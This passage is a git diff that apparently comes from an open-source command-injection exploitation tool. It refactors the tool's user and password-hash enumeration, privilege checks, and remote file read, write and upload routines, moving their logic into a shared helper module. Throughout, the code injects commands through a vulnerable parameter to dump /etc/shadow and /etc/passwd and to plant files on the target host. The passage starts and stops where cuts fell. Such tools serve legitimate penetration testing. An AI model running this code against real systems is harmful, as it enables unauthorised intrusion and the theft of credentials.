- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
-
+ sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_passes(sys_passes, filename, _)
"""
Single os-shell execution
@@ -570,11 +299,25 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
settings.ENUMERATION_DONE = True
if menu.options.users:
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
- system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ if settings.TARGET_OS == "win":
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+ system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
# eof
\ No newline at end of file
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
index 67090acfa1..82c285f3f4 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py
@@ -18,6 +18,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
+from src.core.injections.controller import checks
from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
@@ -27,191 +28,80 @@
The dynamic code evaluation (aka eval-based) technique.
"""
-"""
-Read a file from the target host.
-"""
-def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
- else:
- cmd = "(" + settings.FILE_READ + file_to_read + ")"
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Perform target page reload (if it is required).
- if settings.URL_RELOAD:
- response = requests.url_reload(url, timesec)
- # Evaluate injection results.
- shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell)
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of the file '" + file_to_read + "'."
- print(settings.print_warning_msg(warn_msg))
-
"""
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
-
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- if settings.TARGET_OS == "win":
- import base64
- content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
-
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- info_msg = "Trying to write the content of the file '"
- info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
- dest_to_write = dest_to_write.replace("\\","/")
- # Find path
- path = os.path.dirname(dest_to_write)
- path = path.replace("/","\\")
- # Change directory
- cmd = "cd " + path
+ cmd = checks.change_dir(dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Find filename
- filname = os.path.basename(dest_to_write)
- tmp_filname = "tmp_" + filname
- cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- # Decode base 64 encoding
- cmd = "certutil -decode " + tmp_filname + " " + filname
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
eb_injector.injection_results(response, TAG, cmd)
- # Delete tmp file
- cmd = "del " + tmp_filname
+ cmd = checks.delete_tmp(tmp_fname)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
eb_injector.injection_results(response, TAG, cmd)
- # Check if file exists
- cmd = "if exist " + filname + " (echo " + filname + ")"
- dest_to_write = path + "\\" + filname
-
+ #cmd = "if exist " + fname + " (echo " + fname + ")"
+ # dest_to_write = dest_to_write + "\\" + fname
+ cmd = checks.check_file(dest_to_write)
else:
- cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
+ cmd = checks.write_content(content, dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- # Check if file exists
- cmd = "echo $(ls " + dest_to_write + ")"
-
- # Check if defined cookie injection.
+ cmd = checks.check_file(dest_to_write)
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
- print(settings.print_warning_msg(warn_msg))
-
+ checks.file_write_status(shell, dest_to_write)
+
"""
Upload a file on the target host.
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
- if settings.TARGET_OS == "win":
- check_option = "--file-upload"
- checks.unavailable_option(check_option)
- pass
- else:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
-
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- info_msg = "Trying to upload the file from '"
- info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
- print(settings.print_info_msg(info_msg))
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ shell = eb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ shell = eb_injector.injection_results(response, TAG, cmd)
+ shell = "".join(str(p) for p in shell)
+ checks.file_upload_status(shell, dest_to_upload)
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
- response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell)
-
- # Check if file exists!
- if settings.TARGET_OS == "win":
- cmd = "dir " + dest_to_upload + ")"
- else:
- cmd = "echo $(ls " + dest_to_upload + ")"
+"""
+Read a file from the target host.
+"""
+def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
+ cmd, file_to_read = checks.file_content_to_read()
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
+ if settings.URL_RELOAD:
+ response = requests.url_reload(url, timesec)
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file."
- print(settings.print_warning_msg(warn_msg))
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
-
if menu.options.file_write:
file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
- file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
+ if settings.TARGET_OS == "win":
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
+ else:
+ file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index 312bb20084..dc54fb7b28 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -31,11 +31,12 @@
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
else:
- cmd = "\"" + cmd + "\""
+ cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -46,29 +47,13 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- try:
- if float(ps_version):
- settings.PS_ENABLED = True
- # Output PowerShell's version number
- info_msg = "Powershell version: "
- info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- except ValueError:
- warn_msg = "Heuristics have failed to identify the version of Powershell, "
- warn_msg += "which means that some payloads or injection techniques may be failed."
- print(settings.print_warning_msg(warn_msg))
- settings.PS_ENABLED = False
+ checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
@@ -81,23 +66,13 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- info_msg = "Hostname: " + str(shell)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Hostname: " + str(shell) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
if settings.TARGET_OS == "win":
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
@@ -141,23 +116,13 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if target_os and target_arch:
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
@@ -170,24 +135,14 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if cu_account:
- info_msg = "Current user: " + str(cu_account)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Current user: " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
@@ -201,30 +156,20 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
else:
- settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
+ settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -235,236 +180,24 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- # Windows users enumeration.
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
- sys_users_list = re.findall(r"(.*)", sys_users)
- sys_users_list = "".join(str(p) for p in sys_users_list).strip()
- sys_users_list = ' '.join(sys_users_list.split())
- sys_users_list = sys_users_list.split()
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = cmd.replace("'","\\'")
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
-
- # Unix-like users enumeration.
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ checks.print_users(sys_users, filename, _)
"""
System passwords enumeration
"""
-def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- if settings.TARGET_OS == "win":
- check_option = "--passwords"
- checks.unavailable_option(check_option)
- pass
+def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ _ = False
+ cmd = settings.SYS_PASSES
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ # Command execution results.
+ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ # Evaluate injection results.
+ sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
+ sys_passes = "".join(str(p) for p in sys_passes)
+ session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
- cmd = settings.SYS_PASSES
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Evaluate injection results.
- sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- sys_passes = "".join(str(p) for p in sys_passes)
- session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
- else:
- sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if sys_passes == "":
- sys_passes = " "
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
- sys_passes = sys_passes.replace(" ", "\n")
- sys_passes = sys_passes.split()
- if len(sys_passes) != 0 :
- info_msg = "Identified " + str(len(sys_passes))
- info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
- output_file.close()
- count = 0
- for line in sys_passes:
- count = count + 1
- try:
- if ":" in line:
- fields = line.split(":")
- if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
